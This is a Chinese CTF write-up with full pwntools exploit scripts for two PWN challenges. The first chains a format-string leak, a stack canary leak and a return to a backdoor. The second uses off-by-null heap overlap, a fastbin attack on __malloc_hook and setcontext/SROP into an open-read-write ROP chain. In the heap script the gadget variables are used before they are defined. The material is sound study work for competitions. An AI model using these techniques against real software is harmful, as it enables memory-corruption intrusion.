成理工恐龙杯-PWN-WP

ezrop

分析:

1648467789807.png

main函数中存在格式化字符串漏洞和栈溢出。但是这题开了PIE和canary,所以还需要leak canary和pie基址。

我是利用格式化字符串去读的__libc_csu_init+77这个地址,然后利用puts把canary带出来。

接下来的rop就没什么好说的了。

exp:

from pwn import *
context.log_level = 'debug'
# p = process('./pwn')
p = remote('47.109.18.98', 9128)
elf = ELF('./pwn')
# pay = b'AA.%8$s'
pay = b'%15$p'
p.recvline()
p.send(pay)
p.recvuntil('exit\n')
p.sendline('3')
p.recv(2)
base_info = int(p.recv(12), 16)
base = base_info-77-elf.symbols['__libc_csu_init']
magic = base + elf.symbols['backdoor']
print(hex(magic))

pay = b'a'*0x58
p.recvuntil('exit\n')
p.sendline('1')
p.sendline(pay)
p.recvuntil('exit\n')

p.sendline('2')
p.recvuntil('aaa\n')
canary = u64(b'\x00' + p.recv(7))
print(hex(canary))
p.recvuntil('exit\n')
p.sendline('1')
pay = b'a'*0x58 + p64(canary) + p64(0) + p64(magic)
p.sendline(pay)
# gdb.attach(p)

p.interactive()

ezheap

分析:

1648468102352.png

有创建,show,删除这三个功能,在创建的时候必须输入信息,但是存在off by null,所以可以去造成overlap。然后比较值得注意的是sub_F5A()这个函数,在选择的时候输入0x196082可以进去。这个函数的问题待会儿再说。

这道题的show是用puts()来实现的,而create的时候,原来的信息必然会被\x00截断,所以还是需要构造overlap来leak。(因为这题不仅要leak libcbase,还要leak heapbase,所以我就弄了个挺大的overlap,方便里面的unsorted chunk被放到largebin里带出来heapbase)

因为题目使用的是libc-2.23,所以在unlink的时候不会检查prev_size和前面的size是否相同,所以只需要伪造好prev_size,然后利用off by null取消掉可以溢出到的那个chunk的prev_inuse bit,然后free触发unlink。但是要注意的是,需要先free掉prev_size指向的那个chunk,让他的p->fd = &p, p->bk = &p来绕过unlink的检查

再接下来要做的就是,让这个大的unsortedbin被切割,然后让fd和fd_nextsize处于可以被puts打印出来的位置。(要注意放入largebin的条件)

1648468706721.png
1648468733182.png

要注意,泄露出来的这些地址最低位一定不要是\x00,不然puts()还是会出问题。

拿到两个base之后,考虑进攻手段。

1648468915247.png
1648468851175.png

由于开了Full RELRO,got表不可写,所以只能想办法改malloc hook或者free hook。

然后又用了两个prctl()开启了沙箱,所以只能用setcontext配合SigreturnFrame来将调用栈迁移到堆上,然后orw读flag了。

要用setcontext的话,一般都是去劫持__free_hook,free的时候rdi刚好就在目标chunk那里。但是这题我调了很久,也没发现在free hook附近有可以用的fake chunk。

这让我一度想用unsortedbin attack去劫持_IO_list_all然后伪造vtable(不)

后来在出题人的好心提醒下,我发现__malloc_hook前面是可以用来伪造fake chunk的,所以还是可以fastbin attack去让他指向setcontext+53。但是就又会有一个问题,如果用malloc hook,那么如何控制rdi指向我布置好的SigreturnFrame呢?

这里就要请到刚刚我提到的那个sub_F5A()了。

1648469369022.png

没错,这里有一个atoll(),他的内部会调用strtoll等函数,然后最终rdi将被赋值为这个size的值。

1648469656112.png
1648469710552.png

所以这个时候,只需要输入SigreturnFrame的地址,就能成功让setcontext+53起作用了。

接下来就很简单了。我是将rip指向一个ret,然后rsp指向布置好的orw的rop,然后就能把flag读出来了。

exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./ezheap')
libc = ELF('./libc-2.23.so')
# p = process(['./ld-2.23.so', './ezheap'], env={'LD_PRELOAD':'./libc-2.23.so'})
p = process('./ezheap')
# p = remote('47.109.18.98', 9130)

def choice(idx):
	p.recvuntil('>>> ')
	p.sendline(str(idx))
	sleep(0.1)

def create(sz, content):
	choice(1)
	p.recvuntil('size:\n')
	p.sendline(str(sz))
	p.recvuntil('content:\n')
	p.sendline(content)

def show(idx):
	choice(3)
	p.recvline()
	p.sendline(str(idx))

def delete(idx):
	choice(4)
	p.recvline()
	p.sendline(str(idx))

create(0xf8, 'AAAA') # 0
create(0x208, 'BBBB') # 1
create(0x2f8, 'CCCC') # 2
create(0x68, 'DDDD') # 3
create(0xf8, 'EEEE') # 4
create(0x68, 'FFFF') # 5
delete(3)
pay = b'a'*0x60 + p64(0x680)
create(0x68, pay) # 3
delete(0)
delete(4)
create(0xe8, 'AAAA') # 0
create(0x400, 'BBBB') # 4
create(0x100, 'CCCC') # 6
show(1)
heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0xf0
show(3)
libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3c4b78
print(hex(heapbase))
print(hex(libcbase))
setcontext = libcbase + libc.symbols['setcontext'] + 53
malloc_hook = libcbase + libc.symbols['__malloc_hook']
open_addr = libcbase + libc.symbols['open']
write_addr = libcbase + libc.symbols['write']
read_addr = libcbase + libc.symbols['read']
print(hex(setcontext))
print(hex(malloc_hook))
delete(0)
delete(4)
pay = b'a'*0xf0 + p64(0) + p64(0x71) + b'a'*0x60 + p64(0) + p64(0x71)
create(0x400, pay) # 0
delete(1)
delete(0)
fake_chunk = malloc_hook-0x23

pay = b'a'*0xf0 + p64(0) + p64(0x71) + p64(fake_chunk)
create(0x200, pay) # 0
create(0x68, 'AAAA') # 1

def func(funcname, arg1, arg2, arg3):
	pay = p64(pop_rdi) + p64(arg1)
	pay += p64(pop_rsi) + p64(arg2)
	pay += p64(pop_rdx) + p64(arg3)
	pay += p64(funcname)
	return pay

flag_str = heapbase + 0x710
pay = func(open_addr, flag_str, 0, 0)
pay += func(read_addr, 3, heapbase, 0x30)
pay += func(write_addr, 1, heapbase, 0x30)
pay = pay.ljust(0xf0, b'\x00')
pay += b'flag\x00'
delete(0)
create(0x110, pay)

# syscall = libcbase + 0x00000000000026bf # syscall
# pop_rax = libcbase + 0x0000000000033544 # pop rax ; ret
pop_rdi = libcbase + 0x0000000000021112 # pop rdi ; ret
pop_rsi = libcbase + 0x00000000000202f8 # pop rsi ; ret
pop_rdx = libcbase + 0x0000000000001b92 # pop rdx ; ret
ret =     libcbase + 0x0000000000000937 # ret

frame = SigreturnFrame()
frame.rsp = heapbase + 0x620
frame.rip = ret

print(hex(len(bytes(frame))))
create(0x110, bytes(frame))

pay = b'a'*0x13 + p64(setcontext) # fastbin attack
create(0x68, pay)

# gdb.attach(p)
p.recvuntil('>>>')
p.send('1663106')
p.recvuntil('size:')
p.send(str(heapbase+0x10))

p.interactive()